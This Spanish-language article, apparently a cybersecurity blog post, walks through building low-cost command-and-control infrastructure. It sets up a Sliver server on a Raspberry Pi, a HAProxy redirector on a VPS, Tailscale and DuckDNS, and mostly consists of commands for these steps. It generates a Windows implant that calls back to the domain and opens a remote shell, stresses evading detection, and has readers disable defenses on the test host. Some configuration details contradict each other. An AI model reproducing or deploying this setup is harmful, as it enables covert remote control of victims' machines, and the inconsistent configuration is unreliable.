Volver al inicio

C2 en Raspberry Pi: montaje económico en una tarde | Ciberseguridad

Guía para crear infraestructura C2 económica basada en Raspberry Pi 4 usando Sliver, Tailscale y HAProxy. Configuración detallada de componentes, optimización de costos y recomendaciones de operación. Solución dirigida a investigadores en ciberseguridad.

¿Cómo montar un servidor C2 en Raspberry Pi por 4 euros al mes?
Advertisement 728x90

# Infraestructura C2 económica en Raspberry Pi: Configuración paso a paso en una tarde

La construcción de infraestructura de comando y control (C2) para investigación en ciberseguridad suele asociarse con soluciones comerciales costosas. Esta guía explica paso a paso cómo implementar un sistema C2 completamente funcional en una Raspberry Pi 4 utilizando software de código abierto. El énfasis está en mantener los costos bajos mientras se preservan las funciones esenciales: tráfico cifrado, DNS dinámico y sigilo frente a la detección. Este material es solo para fines educativos, dentro del ámbito del hacking ético.

Estructura del sistema C2 económico

Necesitarás lo siguiente para la construcción:

  • Raspberry Pi 4 (4 GB RAM) — servidor principal de implantes
  • Tarjeta SD de 32 GB
  • VPS con 2 GB RAM (desde 4 €/mes) para el punto de conexión público
  • Tailscale — para túneles seguros entre componentes
  • Sliver v1.7.3 — alternativa de código abierto a Cobalt Strike
  • DuckDNS — servicio de DNS dinámico

La arquitectura del sistema sigue este flujo: implante → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337). Esta configuración oculta la IP real del Pi detrás de un dominio público y cifra el tráfico en cada salto.

Google AdInline article slot

Configuración del túnel seguro con Tailscale

Instala Tailscale tanto en la Raspberry Pi como en el VPS de la misma manera. Ejecuta en la terminal:

curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up

Tras la autenticación basada en navegador, el sistema asigna a cada nodo una IP única de Tailscale (p. ej., Pi: 100.92.XX.XXX, VPS: 100.106.XXX.XX). Prueba la conectividad entre nodos:

ping 100.92.XXX.XXX

Punto clave: el tráfico entre componentes está cifrado de extremo a extremo, lo que impide la intercepción en nodos intermedios. Tailscale maneja automáticamente las actualizaciones de rutas si cambian las IP, lo cual es crucial para la estabilidad de la conexión.

Google AdInline article slot

Despliegue de Sliver en Raspberry Pi

Descarga el binario de Sliver para ARM64:

cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server

Inicia el servidor como daemon, permitiendo conexiones desde cualquier interfaz:

sliver-server daemon --lhost 0.0.0.0 --lport 31338

El listener de implantes se ejecuta en el puerto 31337. Para la gestión, usa la consola de Sliver: sliver-server console. Asegúrate de que el puerto 31337 esté abierto en el firewall de la Raspberry Pi.

Google AdInline article slot

Configuración de HAProxy en el VPS

Instala HAProxy en el servidor virtual:

sudo apt install -y haproxy

Edita el archivo de configuración /etc/haproxy/haproxy.cfg:

global
    log /dev/log local0
    maxconn 10000

defaults
    mode tcp
    timeout connect 5s
    timeout client 60s
    timeout server 60s

frontend sliver_frontend
    bind :443
    default_backend sliver_backend

backend sliver_backend
    server pi4 100.92.XXX.XXX:31337 check

Reinicia el servicio:

sudo systemctl enable haproxy
sudo systemctl start haproxy

HAProxy actúa como terminador TLS, reenviando el tráfico del puerto 443 a la dirección interna de la Raspberry Pi a través de Tailscale. Verifica que funcione: openssl s_client -connect your-domain.duckdns.org:443.

Integración de DNS dinámico

Registra un dominio en DuckDNS y apúntalo a la IP pública del VPS. Para actualizaciones automáticas de IP, añade un script de actualización a cron. Verifica la resolución del dominio:

dig your-domain.duckdns.org

Este paso es vital para la estabilidad de la conexión cuando cambia la IP externa del VPS. DuckDNS asegura que el dominio siempre resuelva a la dirección actual del servidor.

Generación y prueba del implante

En la consola de Sliver, crea un listener HTTP:

http --domain your-domain.duckdns.org --lhost 0.0.0.0 --lport 31337

Genera un implante para Windows con autenticación mTLS:

generate --mtls your-domain.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe

Transfiere el archivo a un sistema de prueba Windows 10 (desactiva las defensas para la demostración). Una vez que se ejecuta el implante, aparece una sesión en la consola de Sliver:

[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64

Conéctate a la sesión:

sessions -i c5360843
shell

La prueba confirma la resiliencia de la conexión: las sesiones sobreviven reinicios del implante o cambios de red.

Optimización y operación

Para mayor fiabilidad, recomendamos:

  • Configura Sliver para que se inicie automáticamente mediante systemd
  • Añade monitoreo de logs de HAProxy
  • Usa dominios separados para diferentes listeners
  • Renueva regularmente los certificados de Let's Encrypt

Comandos clave para la gestión diaria:

# Iniciar Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338

# Ver sesiones activas
sessions

# Entrar en shell interactivo
sessions -i <ID>
shell

El sistema permite la gestión de implantes mediante la app móvil de Tailscale, dándote acceso desde cualquier lugar del mundo.

Puntos clave

  • Arquitectura de doble cifrado (TLS + Tailscale) minimiza el riesgo de detección de tráfico
  • Costos mensuales limitados al VPS (desde 4 €); todo el resto del software es de código abierto
  • Raspberry Pi 4 maneja cómodamente hasta 50 sesiones concurrentes
  • La integración de DuckDNS resuelve problemas de IP dinámicas sin costo extra
  • Sliver reemplaza completamente herramientas comerciales con conocimientos básicos de redes

— Editorial Team

Advertisement 728x90

Leer después